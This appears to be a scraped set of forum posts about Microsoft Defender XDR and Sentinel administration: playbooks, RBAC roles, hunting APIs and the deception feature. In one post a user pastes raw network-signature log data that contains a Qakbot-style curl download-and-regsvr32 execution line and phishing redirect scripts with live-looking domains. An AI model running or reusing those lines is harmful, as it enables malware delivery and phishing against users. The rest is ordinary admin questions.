Entity playbook in XDR
Hello All! In my Logic Apps Sentinel automations I often use the entity trigger to run some workflows. Some time ago there was information, that Sentinel will be moved to the Microsoft XDR, some of the Sentinel elements are already there. In XDR I can run playbook from the incident level, but I can't do it from the entity level - for example in the XDR when I clicked in the IP or when I open IP address page I can't find the Run playbook button or something like that. Do you know if the Run playbook on entity feature will be moved to XDR also? Best, Piotr K.
NetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced.

Security Admin role replacement with Defender XDR
We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in https://learn.microsoft.com/en-us/defender-xdr/custom-roles Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies. Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?
Custom data collection in MDE - what is default?
So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel. Is there also an overview of what is default and what I can add? e.g. we want to examine repeating disconnects from AzureVPN clients (yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them) How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?Permissions to see and manage sentinel workspace in Defender XDR
Hi Team, One of my customers recently completed their Sentinel → Defender portal migration. Initially, I didn’t have access to view the Defender portal, but after the migration I was assigned the Security Operator role in Entra (via PIM), which now allows me to access the Defender portal.However, when I navigate to: Defender portal → System → Settings → Microsoft Sentinel → Workspaces. I’m unable to view the available workspaces. The portal shows an insufficient permissions error, and I also cannot switch the primary/secondary workspace. Could you please advise on the exact permissions/roles required to: View the Sentinel workspace list in Defender, and Switch the primary workspace? Thanks in advanceXDR RBAC missing Endpoint & Vulnerability Management
I've been looking at ways to provide a user with access to the Vulnerability Dashboard and associated reports without giving them access to anything else within Defender (Email, Cloud App etc) looking at the article https://learn.microsoft.com/en-us/defender-xdr/activate-defender-rbac it has a slider for Endpoint Management which I don't appear to have? I have business Premium licences which give me GA access to see the data so I know I'm licenced for it and it works but I can't figure out how to assign permissions. When looking at creating a custom permission here https://learn.microsoft.com/en-us/defender-xdr/custom-permissions-details#security-posture--posture-management it mentions Security Posture Management would give them Vulnerability Management Level Read which is what I'm after but that doesn't appear to be working. The test account i'm using to try this out just gets an error Error getting device data I'm assuming its because it doesn't have permissions of the device details?XDR advanced hunting region specific endpoints
Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it: 1. To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#fetch-the-openid-configuration-document) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Since using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region? 2. As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?XDR Advanced hunting API region availability

Defender for Endpoint | Deception
Hi Everyone, I hope this topic is going to help someone. I want to know after 31 of October 2025 Does that mean that no one can run Deceptions and policy rules, etc? As at the moment I'm experiencing this: It would be good to know if I have to deal with it and look into what the issue is, as I'm using Zscaler. The issue is definitely there after running a number of commands to check the reg key, etc. Can someone provide me with any documentation if this will be fully retired or will still be functioning to some point?
